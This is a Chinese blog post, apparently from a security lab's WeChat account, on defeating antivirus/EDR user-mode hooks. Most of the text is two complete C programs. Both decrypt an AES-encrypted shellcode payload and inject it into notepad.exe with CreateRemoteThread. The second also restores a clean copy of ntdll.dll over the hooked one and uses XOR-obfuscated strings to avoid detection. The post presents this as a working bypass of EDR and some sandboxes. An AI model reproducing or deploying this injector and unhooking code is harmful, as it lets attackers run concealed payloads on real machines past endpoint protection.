一般的杀毒软件会在我们进程启动的时候注入DLL到进程中,然后对系统函数进行Hook(挂钩).从而拦截我们进程的执行流程,当然这个流程只针对于未被添加到白名单的程序.我们来看下效果图.
这里我设置了白名单为apps目录,在次目录下不会被检测.
我们运行一个系统自带的软件Notepad来看下效果.
首先X64dbg附加进程
我们随便搜索一个函数看看是否被HOOK
可以发现函数被jmp了,那么是不是我们的函数被HOOK了,如果不清楚我们在运行一个白名单里面的程序看下,或者看JMP后到那里就可以知道了,我们这里对比一下即可.
对比发现为在白名单里面的程序,被挂钩了.
这里我们写一个注入程序,看看是否还能注入到进程中
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };
unsigned int payload_len = sizeof(payload);
int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
int FindTarget(const char* procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char* payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
pid = FindTarget("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %dn", pid);
hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD)pid);
if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}首先我们先在白名单下运行一下看看.
发现是可以直接注入的,这很正常,因为杀软不拦截我们的任何行为.
那么我们放到其他地方来运行下看看效果.
可以发现我们的程序直接被杀掉了,注入的进程也被关闭了.
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };
unsigned int payload_len = sizeof(payload);
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI * CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef LPVOID (WINAPI * MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL (WINAPI * UnmapViewOfFile_t)(LPCVOID);
unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
void XORcrypt(char str2xor[], size_t len, char key) {
int i;
for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew);
int i;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char *) pImgSectionHead->Name, ".text")) {
VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
if (!oldprotect) {
return -1;
}
memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
(LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize);
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if (!oldprotect) {
return -1;
}
return 0;
}
}
return -1;
}
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };
unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };
unsigned int sNtdllPath_len = sizeof(sNtdllPath);
unsigned int sNtdll_len = sizeof(sNtdll);
int ret = 0;
HANDLE hFile;
HANDLE hFileMapping;
LPVOID pMapping;
CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA);
MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile);
UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile);
XORcrypt((char *) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if ( hFile == INVALID_HANDLE_VALUE ) {
return -1;
}
hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (! hFileMapping) {
CloseHandle(hFile);
return -1;
}
pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if (!pMapping) {
CloseHandle(hFileMapping);
CloseHandle(hFile);
return -1;
}
printf("Check 1!n"); getchar();
ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping);
printf("Check 2!n"); getchar();
UnmapViewOfFile_p(pMapping);
CloseHandle(hFileMapping);
CloseHandle(hFile);
pid = FindTarget("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %dn", pid);
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}这段代码是加载一份新的NTDLL.DLL来恢复原本已经被破坏的NTDLL.DLL.
整个过程就是我们首先加载一份新的NTDLL.DLL保存起来,然后将原本的代码段属性置成读写可执行的,在将我们内存加载的Text段进行替换到原来的Text段,这样原本HOOK的地方就被我们替换过去了,达到了脱钩的效果,我们去看下运行效果.
我们拖进X64DBG 看下效果吧.
目前还是被HOOK的状态,我们回车一下后x64dbg中右键分析这个函数.
发现函数已经被还原了.
这样就简单的绕过了EDR的挂钩检测,部分沙箱这种技术同样可以绕过.
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原文始发于微信公众号（蛇矛实验室）：杀软EDR对抗-脱钩
